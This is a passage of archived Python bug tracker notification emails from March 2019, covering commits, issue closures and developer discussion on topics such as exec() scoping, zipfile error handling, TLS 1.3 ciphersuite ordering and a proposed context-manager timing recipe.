----------
pull_requests: +12559

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue17110>
_______________________________________

From report at bugs.python.org  Sat Mar 30 01:38:17 2019
From: report at bugs.python.org (miss-islington)
Date: Sat, 30 Mar 2019 05:38:17 +0000
Subject: [issue17110] sys.argv docs should explaining how to handle encoding
 issues
In-Reply-To: <1359864071.69.0.659089821533.issue17110@psf.upfronthosting.co.za>
Message-ID: <1553924297.05.0.62162709237.issue17110@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset 5b80cb5584a72044424f2d82d0ae79c720f24c47 by Miss Islington (bot) in branch '3.7':
bpo-17110: doc: add note how to get bytes from sys.argv (GH-12602)
https://github.com/python/cpython/commit/5b80cb5584a72044424f2d82d0ae79c720f24c47


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue17110>
_______________________________________

From report at bugs.python.org  Sat Mar 30 02:23:42 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 30 Mar 2019 06:23:42 +0000
Subject: [issue24214] UTF-8 incremental decoder doesn't support surrogatepass
 correctly
In-Reply-To: <1431816994.33.0.797161516902.issue24214@psf.upfronthosting.co.za>
Message-ID: <1553927022.73.0.572610934572.issue24214@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:


New changeset 7a465cb5ee7e298cae626ace1fc3e7d97df79f2e by Serhiy Storchaka in branch 'master':
bpo-24214: Fixed the UTF-8 incremental decoder. (GH-12603)
https://github.com/python/cpython/commit/7a465cb5ee7e298cae626ace1fc3e7d97df79f2e


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue24214>
_______________________________________

From report at bugs.python.org  Sat Mar 30 02:23:52 2019
From: report at bugs.python.org (miss-islington)
Date: Sat, 30 Mar 2019 06:23:52 +0000
Subject: [issue24214] UTF-8 incremental decoder doesn't support surrogatepass
 correctly
In-Reply-To: <1431816994.33.0.797161516902.issue24214@psf.upfronthosting.co.za>
Message-ID: <1553927032.86.0.756513815062.issue24214@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12560

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue24214>
_______________________________________

From report at bugs.python.org  Sat Mar 30 02:25:04 2019
From: report at bugs.python.org (Inada Naoki)
Date: Sat, 30 Mar 2019 06:25:04 +0000
Subject: [issue17110] sys.argv docs should explaining how to handle encoding
 issues
In-Reply-To: <1359864071.69.0.659089821533.issue17110@psf.upfronthosting.co.za>
Message-ID: <1553927104.09.0.824136595827.issue17110@roundup.psfhosted.org>


Change by Inada Naoki <songofacandy at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed
versions: +Python 3.7, Python 3.8 -Python 3.2, Python 3.3, Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue17110>
_______________________________________

From report at bugs.python.org  Sat Mar 30 02:25:22 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 30 Mar 2019 06:25:22 +0000
Subject: [issue36434] Zipfile breaks if signalled during write()
In-Reply-To: <1553590742.34.0.262884911758.issue36434@roundup.psfhosted.org>
Message-ID: <1553927122.18.0.502722978445.issue36434@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:


New changeset 2524fdefc9bb2a97b99319190aeb23703079ad4c by Serhiy Storchaka in branch 'master':
bpo-36434: Properly handle writing errors in ZIP files. (GH-12559)
https://github.com/python/cpython/commit/2524fdefc9bb2a97b99319190aeb23703079ad4c


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36434>
_______________________________________

From report at bugs.python.org  Sat Mar 30 02:25:29 2019
From: report at bugs.python.org (miss-islington)
Date: Sat, 30 Mar 2019 06:25:29 +0000
Subject: [issue36434] Zipfile breaks if signalled during write()
In-Reply-To: <1553590742.34.0.262884911758.issue36434@roundup.psfhosted.org>
Message-ID: <1553927129.47.0.047423821895.issue36434@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12561

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36434>
_______________________________________

From report at bugs.python.org  Sat Mar 30 02:32:21 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 30 Mar 2019 06:32:21 +0000
Subject: [issue22831] Use "with" to avoid possible fd leaks
In-Reply-To: <1415560947.71.0.445590332058.issue22831@psf.upfronthosting.co.za>
Message-ID: <1553927541.15.0.437871304736.issue22831@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:


New changeset afbb7a371fb44edc731344eab5b474ad8f7b57d7 by Serhiy Storchaka in branch 'master':
bpo-22831: Use "with" to avoid possible fd leaks in tools (part 1). (GH-10926)
https://github.com/python/cpython/commit/afbb7a371fb44edc731344eab5b474ad8f7b57d7


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue22831>
_______________________________________

From report at bugs.python.org  Sat Mar 30 02:33:05 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 30 Mar 2019 06:33:05 +0000
Subject: [issue22831] Use "with" to avoid possible fd leaks
In-Reply-To: <1415560947.71.0.445590332058.issue22831@psf.upfronthosting.co.za>
Message-ID: <1553927585.19.0.440675011376.issue22831@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:


New changeset 172bb39452ae8b3ccdf5d1f23ead46f44200cd49 by Serhiy Storchaka in branch 'master':
bpo-22831: Use "with" to avoid possible fd leaks in tools (part 2). (GH-10927)
https://github.com/python/cpython/commit/172bb39452ae8b3ccdf5d1f23ead46f44200cd49


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue22831>
_______________________________________

From report at bugs.python.org  Sat Mar 30 02:34:13 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 30 Mar 2019 06:34:13 +0000
Subject: [issue22831] Use "with" to avoid possible fd leaks
In-Reply-To: <1415560947.71.0.445590332058.issue22831@psf.upfronthosting.co.za>
Message-ID: <1553927653.71.0.766320142114.issue22831@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue22831>
_______________________________________

From report at bugs.python.org  Sat Mar 30 02:58:22 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Sat, 30 Mar 2019 06:58:22 +0000
Subject: [issue36482] let struct's internal cache use FIFO policy
In-Reply-To: <1553913825.65.0.170439395409.issue36482@roundup.psfhosted.org>
Message-ID: <1553929102.51.0.724193460603.issue36482@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:

I don't know that FIFO makessense in the context of how the struct module is typically used.  Also rebuilding structs in cheap so there is very little need for further optimization.  As far as I can tell, no user has ever reported a performance issue with struct (if they had, we could analyze their use case to determine an optimal cache strategy).

So, my preference is to leave the code as-is.

----------
resolution:  -> rejected
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36482>
_______________________________________

From report at bugs.python.org  Sat Mar 30 03:04:25 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Sat, 30 Mar 2019 07:04:25 +0000
Subject: [issue36466] Adding a way to strip annotations from compiled bytecode
In-Reply-To: <1553825507.66.0.407362572806.issue36466@roundup.psfhosted.org>
Message-ID: <1553929465.52.0.252168387725.issue36466@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:

-0 At first blush, this seems reasonable. Like removing docstrings, it would make the bytecode more compact.  That said, annotations can be used for more things than typing (they predate typing and could be used for anything). It's unclear whether stripping them might break published modules that rely on the annotations being present.

Leaving this feature request open so that it can gather more comments from the other devs.

----------
nosy: +rhettinger

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36466>
_______________________________________

From report at bugs.python.org  Sat Mar 30 03:24:57 2019
From: report at bugs.python.org (=?utf-8?q?Domen_Jurkovi=C4=8D?=)
Date: Sat, 30 Mar 2019 07:24:57 +0000
Subject: [issue36426] exec() issue when used inside function
In-Reply-To: <1553535065.81.0.184329137426.issue36426@roundup.psfhosted.org>
Message-ID: <1553930697.22.0.51537651653.issue36426@roundup.psfhosted.org>


Domen Jurkovi? <domen.jurkovic at gmail.com> added the comment:

Are there any workarounds - how can we use exec() and on-the-fly created variables?
Also, why 'locals()['bar']' is seen by the interpretter, but not ony 'bar'?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36426>
_______________________________________

From report at bugs.python.org  Sat Mar 30 03:59:38 2019
From: report at bugs.python.org (=?utf-8?q?Luis_Mu=C3=B1oz?=)
Date: Sat, 30 Mar 2019 07:59:38 +0000
Subject: [issue36483] Missing line in documentation example
Message-ID: <1553932778.03.0.764892422134.issue36483@roundup.psfhosted.org>


New submission from Luis Mu?oz <luismu78 at gmail.com>:

Hi,

https://docs.python.org/3/tutorial/controlflow.html#break-and-continue-statements-and-else-clauses-on-loops

The example is missing a break at the end of the else statement.

First time reporting here. If there is an error in formating or anything else please accept my apologies.

Luis Mu?oz

----------
assignee: docs at python
components: Documentation
messages: 339184
nosy: Luis Mu?oz, docs at python
priority: normal
severity: normal
status: open
title: Missing line in documentation example
type: behavior
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36483>
_______________________________________

From report at bugs.python.org  Sat Mar 30 04:55:46 2019
From: report at bugs.python.org (Martin Panter)
Date: Sat, 30 Mar 2019 08:55:46 +0000
Subject: [issue36464] Python 2.7 build install fails intermittently with -j on
 MacOS
In-Reply-To: <1553811277.77.0.695389248612.issue36464@roundup.psfhosted.org>
Message-ID: <1553936146.47.0.274454497954.issue36464@roundup.psfhosted.org>


Martin Panter <vadmium+py at gmail.com> added the comment:

On Linux, Gnu?s ?install? command is happy if the target directory already exists; it just changes the mode (-m) etc. So the race isn?t a big deal.

This is like the race I described (theoretical at the time) at <https://bugs.python.org/issue25696#msg255393>, although that is about $(LIBPC) not $(LIBDIR). I suggested adding a separate target (a bit like Paul?s ?make-directories? suggestion; see my -4.patch in that bug), but it didn?t get much support.

A more conservative patch would be a phony target that retains the existing ?if / echo / install? logic.

----------
nosy: +martin.panter
stage:  -> needs patch

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36464>
_______________________________________

From report at bugs.python.org  Sat Mar 30 05:12:02 2019
From: report at bugs.python.org (Martin Panter)
Date: Sat, 30 Mar 2019 09:12:02 +0000
Subject: [issue36483] Missing line in documentation example
In-Reply-To: <1553932778.03.0.764892422134.issue36483@roundup.psfhosted.org>
Message-ID: <1553937122.96.0.837050715622.issue36483@roundup.psfhosted.org>


Martin Panter <vadmium+py at gmail.com> added the comment:

Did you read the bracketed paragraph directly below, or try running the code with your ?break? statement? I expect it would stop at the first prime number (two). But the output continues with more prime numbers.

----------
nosy: +martin.panter
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36483>
_______________________________________

From report at bugs.python.org  Sat Mar 30 05:19:24 2019
From: report at bugs.python.org (Zackery Spytz)
Date: Sat, 30 Mar 2019 09:19:24 +0000
Subject: [issue35947] Update libffi_msvc to current version of libffi
In-Reply-To: <1549665646.45.0.12391127948.issue35947@roundup.psfhosted.org>
Message-ID: <1553937564.52.0.42283695296.issue35947@roundup.psfhosted.org>


Change by Zackery Spytz <zspytz at gmail.com>:


----------
pull_requests: +12562

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35947>
_______________________________________

From report at bugs.python.org  Sat Mar 30 06:16:05 2019
From: report at bugs.python.org (Remy Noel)
Date: Sat, 30 Mar 2019 10:16:05 +0000
Subject: [issue36469] Stuck during interpreter exit, attempting to take the GIL
In-Reply-To: <1553856319.46.0.350569249761.issue36469@roundup.psfhosted.org>
Message-ID: <1553940965.57.0.295414154729.issue36469@roundup.psfhosted.org>


Remy Noel <remy.noel at blade-group.com> added the comment:

Thanks for the advicesand thorough analysis. I'll try to force threads shutdown from the cleanup callback but i'd like to dig to the root of this isssue if possible.

This is what the thread 7 python backtrace looks like:

(gdb) py-bt
Traceback (most recent call first):
  <built-in method acquire of _thread.lock object at remote 0x7f43088859b8>
  File "/usr/lib/python3.5/threading.py", line 293, in wait
    waiter.acquire()
  File "/usr/lib/python3.5/threading.py", line 549, in wait
    signaled = self._cond.wait(timeout)
  File "/usr/lib/python3.5/threading.py", line 849, in start
    self._started.wait()
  File "...", line 44, in __init__
    thr.start()

So we are basically spawning a thread and waiting for it to start (which will likely never happen). That seems like a "normal" behaviour for me (from a programming standpoint, that is), but this may be another cause of never-terminating threads. (unless this is also caused by the headlock and the thread is expected to spawn/release the lock even after finalizing.)

Also, i have access to the process that i kept running. Is there any way to me to figure out which thread is currently holding the GIL ? I just want to be sure i can't get this info myself before we close this ticket (at which point i will get rid of the culprit process).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36469>
_______________________________________

From report at bugs.python.org  Sat Mar 30 07:23:55 2019
From: report at bugs.python.org (Eman Alashwali)
Date: Sat, 30 Mar 2019 11:23:55 +0000
Subject: [issue36484] Can't reorder TLS 1.3 ciphersuites
Message-ID: <1553945035.34.0.303610202958.issue36484@roundup.psfhosted.org>


New submission from Eman Alashwali <eman.alashwali at gmail.com>:

Wen using the SSL module, I need to be able to reorder the ciphersuites list in TLS 1.3. I was able to do this with python using SSLContext.set_ciphers(ciphers) when working with TLS 1.2. But this is not possible with TLS 1.3 ciphersuites. The need to reorder the ciphersuites is needed because one might need a specific order to simulate specific TLS client that send the ciphersuites in specific order. Unfortunately this is seems not possible now in python with TLS 1.3 as the comment in the documentations says: https://docs.python.org/3/library/ssl.html#ssl.SSLContext.set_ciphers

Can you please consider this post as a feature request? Or clarify to me how to reorder the ciphersuites list when working with TLS 1.3?

----------
assignee: christian.heimes
components: SSL
messages: 339188
nosy: Eman Alashwali, christian.heimes
priority: normal
severity: normal
status: open
title: Can't reorder TLS 1.3 ciphersuites
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36484>
_______________________________________

From report at bugs.python.org  Sat Mar 30 07:56:11 2019
From: report at bugs.python.org (Nick Coghlan)
Date: Sat, 30 Mar 2019 11:56:11 +0000
Subject: [issue36426] exec() issue when used inside function
In-Reply-To: <1553535065.81.0.184329137426.issue36426@roundup.psfhosted.org>
Message-ID: <1553946971.9.0.750795647303.issue36426@roundup.psfhosted.org>


Nick Coghlan <ncoghlan at gmail.com> added the comment:

This is not a bug - to enable function level optimisations, the compiler must be able to see all local variable names at compile time.

In Python 2.x the exec statement implementation included special code to allow even function local variables to be rebound, but that special-casing was removed as part of the Python 3 change to convert exec from a statement to a builtin function (as per https://www.python.org/dev/peps/pep-3100/#core-language )

This means that to use exec() and reliably see the changes it makes to a namespace, you have to supply a reliably read/write dictionary of your own. 

Object instance dictionaries work well for this purpose, as you can then access the results as attributes on the instance:

```
>>> class Namespace:
...     pass
... 
>>> def f():
...     ns = Namespace()
...     exec("x = 1; y = 2", vars(ns))
...     print(ns.x)
...     print(ns.y)
... 
>>> f()
1
2
```

----------
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36426>
_______________________________________

From report at bugs.python.org  Sat Mar 30 07:56:59 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 30 Mar 2019 11:56:59 +0000
Subject: [issue36485] Add a way to clear all caches
Message-ID: <1553947019.94.0.789476600198.issue36485@roundup.psfhosted.org>


New submission from Serhiy Storchaka <storchaka+cpython at gmail.com>:

Some modules have caches. There is a need to clear all tests before running tests. Brett proposed to add in all modules with caches a function with the standardized name which is responsible for clearing module related caches. [1]

The proposed PR adds a new function clear_caches() in the sys module. It iterates all imported modules and calls function __clearcache__() if it is defined.

    def clear_caches():
        for mod in reversed(list(sys.modules.values())):
            if hasattr(mod, '__clearcache__'):
                mod.__clearcache__()

clear_caches() will be used in test.regrtest and can be used in user code. The PR defines also function __clearcache__ for modules which are cleared manually in the current code.

This is a preliminary implementation, bikeshedding is welcome.

[1] https://mail.python.org/pipermail/python-ideas/2019-March/056165.html

----------
components: Library (Lib), Tests
messages: 339190
nosy: brett.cannon, ezio.melotti, michael.foord, serhiy.storchaka
priority: normal
severity: normal
status: open
title: Add a way to clear all caches
type: enhancement
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36485>
_______________________________________

From report at bugs.python.org  Sat Mar 30 08:02:44 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 30 Mar 2019 12:02:44 +0000
Subject: [issue36485] Add a way to clear all caches
In-Reply-To: <1553947019.94.0.789476600198.issue36485@roundup.psfhosted.org>
Message-ID: <1553947364.48.0.413295548604.issue36485@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
keywords: +patch
pull_requests: +12563
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36485>
_______________________________________

From report at bugs.python.org  Sat Mar 30 08:09:07 2019
From: report at bugs.python.org (Nick Coghlan)
Date: Sat, 30 Mar 2019 12:09:07 +0000
Subject: [issue36225] Lingering subinterpreters should be implicitly cleared
 on shutdown
In-Reply-To: <1551964663.69.0.686712846789.issue36225@roundup.psfhosted.org>
Message-ID: <1553947747.73.0.238759627809.issue36225@roundup.psfhosted.org>


Nick Coghlan <ncoghlan at gmail.com> added the comment:

I think test_embed would be the right home for this, as there's an existing test case there for subinterpreter lifecycles and repeated init/finalize cycles: https://github.com/python/cpython/blob/ddbb978e1065dde21d1662386b26ded359f4b16e/Programs/_testembed.c#L43

The test case here would be similar, but it wouldn't need the outer loop - it would just create a handful of subinterpreters, but instead of ending each one before creating the next one the way the existing test does, what it would instead do is:

* setup as per the existing test case
* create a pair of subinterpeters, using a copy of the existing loop, but omitting the `Py_EndInterpreter` call
* switch back to the main interpreter
* create a second pair of subinterpeters
* switch back to the main interpreter
* call Py_Finalize

It also occurs to me that we don't currently have a test case for what happens if you call Py_Finalize from a subinterpreter rather than the main interpreter.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36225>
_______________________________________

From report at bugs.python.org  Sat Mar 30 08:23:10 2019
From: report at bugs.python.org (Nick Coghlan)
Date: Sat, 30 Mar 2019 12:23:10 +0000
Subject: [issue30661] Support tarfile.PAX_FORMAT in shutil.make_archive
In-Reply-To: <1497403539.2.0.760105950979.issue30661@psf.upfronthosting.co.za>
Message-ID: <1553948590.08.0.960098405907.issue30661@roundup.psfhosted.org>


Nick Coghlan <ncoghlan at gmail.com> added the comment:

Aye, I agree that changing the default resolves the feature request here. I've recategorised this as a documentation issue, as the initial PR only changed the `tarfile` documentation, so the impact on `shutil` isn't obvious.

So the changes needed will be:

* add a "What's New" entry for shutil, noting that shtuil.make_archive inherited the change in default archive format from tarfile
* corresponding "version changed" note in the shutil.make_archive documentation


An addition to the "Porting" section in What's New may also be needed, depending on how tarfile.Tarfile behaves if you tell it to open a PAX_FORMAT archive using GNU_FORMAT or vice-versa (tarfile.open and shutil.unpack_archive will be fine, since they query the file's own metadata to find out which format to use)

----------
assignee:  -> docs at python
components: +Documentation -Library (Lib)
nosy: +docs at python
stage: patch review -> needs patch

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue30661>
_______________________________________

From report at bugs.python.org  Sat Mar 30 08:27:24 2019
From: report at bugs.python.org (Nick Coghlan)
Date: Sat, 30 Mar 2019 12:27:24 +0000
Subject: [issue16961] No regression tests for -E and individual environment
 vars
In-Reply-To: <1358164994.53.0.497203238771.issue16961@psf.upfronthosting.co.za>
Message-ID: <1553948844.05.0.801594864566.issue16961@roundup.psfhosted.org>


Nick Coghlan <ncoghlan at gmail.com> added the comment:

Victor Stinner added a great many regression tests in this area for Python 3.7+

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue16961>
_______________________________________

From report at bugs.python.org  Sat Mar 30 08:39:58 2019
From: report at bugs.python.org (Nick Coghlan)
Date: Sat, 30 Mar 2019 12:39:58 +0000
Subject: [issue14934] generator objects can clear their weakrefs before being
 resurrected
In-Reply-To: <1338211208.4.0.755454859587.issue14934@psf.upfronthosting.co.za>
Message-ID: <1553949598.78.0.775815340313.issue14934@roundup.psfhosted.org>


Nick Coghlan <ncoghlan at gmail.com> added the comment:

If I recall correctly, it's the generator destructor that handles throwing in ``GeneratorExit`` to get the generator to terminate. So this code can resurrect a generator as it's being collected by the GC:

    def resurrecting(resurrected):
        self = yield
        try:
            yield
        finally:
            resurrected.append(self)

    storage = []
    g = resurrecting(storage)
    g.send(g) # Give the generator a reference to itself
    del g # Now the generator is in a cycle with itself
    gc.collect()
    gc.collect()
    gc.collect()
    # Generator has been added to the storage instead of collected
    assert len(storage) == 1
    # Clear the storage to kill it for real this time
    storage.clear()
    # Weakrefs shouldn't get called until here

Antoine, does that sound right to you?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue14934>
_______________________________________

From report at bugs.python.org  Sat Mar 30 08:43:15 2019
From: report at bugs.python.org (Nick Coghlan)
Date: Sat, 30 Mar 2019 12:43:15 +0000
Subject: [issue36236] Python crash on macOS when CWD is invalid
In-Reply-To: <1552048367.13.0.453050382053.issue36236@roundup.psfhosted.org>
Message-ID: <1553949795.63.0.398694792467.issue36236@roundup.psfhosted.org>


Nick Coghlan <ncoghlan at gmail.com> added the comment:

Thanks for sorting this out, Victor!

----------
resolution:  -> fixed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36236>
_______________________________________

From report at bugs.python.org  Sat Mar 30 09:12:53 2019
From: report at bugs.python.org (=?utf-8?q?Luis_Mu=C3=B1oz?=)
Date: Sat, 30 Mar 2019 13:12:53 +0000
Subject: [issue36483] Missing line in documentation example
In-Reply-To: <1553932778.03.0.764892422134.issue36483@roundup.psfhosted.org>
Message-ID: <1553951573.36.0.52237020837.issue36483@roundup.psfhosted.org>


Luis Mu?oz <luismu78 at gmail.com> added the comment:

My bad. 
Sorry for the inconvenience.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36483>
_______________________________________

From report at bugs.python.org  Sat Mar 30 09:50:15 2019
From: report at bugs.python.org (Chih-Hsuan Yen)
Date: Sat, 30 Mar 2019 13:50:15 +0000
Subject: [issue34602] python3 resource.setrlimit strange behaviour under macOS
In-Reply-To: <1536316486.92.0.56676864532.issue34602@psf.upfronthosting.co.za>
Message-ID: <1553953815.31.0.466309232017.issue34602@roundup.psfhosted.org>


Chih-Hsuan Yen <yan12125 at gmail.com> added the comment:

I guess Inada Naoki was to say https://bugs.python.org/issue36432 in the last comment.

----------
nosy: +yan12125

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34602>
_______________________________________

From report at bugs.python.org  Sat Mar 30 09:50:43 2019
From: report at bugs.python.org (Chih-Hsuan Yen)
Date: Sat, 30 Mar 2019 13:50:43 +0000
Subject: [issue36432] Running python test suite fails on macOS 10.14.4 with
 resource.RLIMIT_STACK error
In-Reply-To: <1553584151.61.0.380593331105.issue36432@roundup.psfhosted.org>
Message-ID: <1553953843.83.0.525209080966.issue36432@roundup.psfhosted.org>


Change by Chih-Hsuan Yen <yan12125 at gmail.com>:


----------
nosy: +yan12125

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36432>
_______________________________________

From report at bugs.python.org  Sat Mar 30 09:52:21 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 30 Mar 2019 13:52:21 +0000
Subject: [issue36434] Zipfile breaks if signalled during write()
In-Reply-To: <1553590742.34.0.262884911758.issue36434@roundup.psfhosted.org>
Message-ID: <1553953941.11.0.40623416269.issue36434@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:


New changeset 4724ba9b57c45ce4bca3c828f2ed8dcff3800a0c by Serhiy Storchaka (Miss Islington (bot)) in branch '3.7':
bpo-36434: Properly handle writing errors in ZIP files. (GH-12559) (GH-12628)
https://github.com/python/cpython/commit/4724ba9b57c45ce4bca3c828f2ed8dcff3800a0c


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36434>
_______________________________________

From report at bugs.python.org  Sat Mar 30 09:52:43 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 30 Mar 2019 13:52:43 +0000
Subject: [issue24214] UTF-8 incremental decoder doesn't support surrogatepass
 correctly
In-Reply-To: <1431816994.33.0.797161516902.issue24214@psf.upfronthosting.co.za>
Message-ID: <1553953963.71.0.197807198172.issue24214@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:


New changeset bd48280cb66544827952ca91e326cbb178c8c461 by Serhiy Storchaka (Miss Islington (bot)) in branch '3.7':
bpo-24214: Fixed the UTF-8 incremental decoder. (GH-12603) (GH-12627)
https://github.com/python/cpython/commit/bd48280cb66544827952ca91e326cbb178c8c461


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue24214>
_______________________________________

From report at bugs.python.org  Sat Mar 30 09:54:11 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 30 Mar 2019 13:54:11 +0000
Subject: [issue36434] Zipfile breaks if signalled during write()
In-Reply-To: <1553590742.34.0.262884911758.issue36434@roundup.psfhosted.org>
Message-ID: <1553954051.18.0.825533836792.issue36434@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

Thank you for your report Andriy. 3.5 and 3.6 take only security bug fixes.

----------
versions:  -Python 3.5, Python 3.6, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36434>
_______________________________________

From report at bugs.python.org  Sat Mar 30 09:54:25 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 30 Mar 2019 13:54:25 +0000
Subject: [issue36434] Zipfile breaks if signalled during write()
In-Reply-To: <1553590742.34.0.262884911758.issue36434@roundup.psfhosted.org>
Message-ID: <1553954065.74.0.0763478861017.issue36434@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36434>
_______________________________________

From report at bugs.python.org  Sat Mar 30 09:54:46 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 30 Mar 2019 13:54:46 +0000
Subject: [issue24214] UTF-8 incremental decoder doesn't support surrogatepass
 correctly
In-Reply-To: <1431816994.33.0.797161516902.issue24214@psf.upfronthosting.co.za>
Message-ID: <1553954086.81.0.673336704535.issue24214@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue24214>
_______________________________________

From report at bugs.python.org  Sat Mar 30 10:11:14 2019
From: report at bugs.python.org (Nick Coghlan)
Date: Sat, 30 Mar 2019 14:11:14 +0000
Subject: [issue19495] context manager for measuring duration of blocks of code
In-Reply-To: <1383588451.25.0.545990193953.issue19495@psf.upfronthosting.co.za>
Message-ID: <1553955074.68.0.658077210364.issue19495@roundup.psfhosted.org>


Nick Coghlan <ncoghlan at gmail.com> added the comment:

I think Caleb's "sample_before_and_after" idea hints that this may be an idea that could benefit from the ExitStack treatment where contextlib provides a building block that handles the interaction with the context management machinery, with the documentation shows recipes for particular use cases (such as implementing timers for blocks of code)

For example:

    class ContextMonitor:
        """Invoke given sampling callbacks when a context is entered and exited, and optionally combine the sampling results

        *on_entry*: zero-arg sampling function to call on context entry
        *on_exit*: zero-arg sampling function to call on context exit
        *combine_samples*: two-arg sample combination function. If not given, samples are combined as 2-tuples.
        *keep_results*: whether to keep results for retrieval via ``pop_combined_result()``

        Instances of this context manager are reusable and reentrant.
        """
        def __init__(self, on_entry=None, on_exit=None, combine_samples=None, *, keep_results = False):
            self._on_entry = lambda:None if on_entry is None else on_entry
            self._on_exit = lambda:None if on_exit is None else on_exit
            self._combine_samples = lambda *args: args if combine_samples is None else combine_samples
            self._entry_samples = []
            self._keep_results = keep_results
            self._combined_results = [] if keep_results else None

        @classmethod
        def sample(cls, on_event=None, check_results=None):
            """Context monitor that uses the same sampling callback on entry and exit"""
            return cls(on_event, on_event, check_results)

        def pop_combined_result(self):
            """Pops the last combined result. Raises RuntimeError if no results are available"""
            results = self._combined_results
            if not results:
                raise RuntimeError("No sample results to report")
            return self.checked_results.pop()

        def __enter__(self):
            self._entry_samples.append(self._on_entry())
            return self

        def __exit__(self, *args):
            entry_sample = self._entry_samples.pop()
            exit_sample = self._on_exit()
            result = self._combine_samples(entry_sample, exit_sample)
            if self._keep_results:
                self._combined_results.append(result)
 
And then a recipe like the following (adapted from Caleb's example):

    def log_if_slow(logger_name, msg, *args, threshold_sec=1.0, **kwargs):
        """"Context manager that logs monitored blocks that take too long"""
        logger = logging.getLogger(logger_name)
        if not logger.isEnabledFor(logging.INFO):
            # Avoid the timer overhead if the logger will never print anything
            return nullcontext()
        def _log_slow_blocks(start, end):
            duration = end - start
            if dt >= threshold_sec:
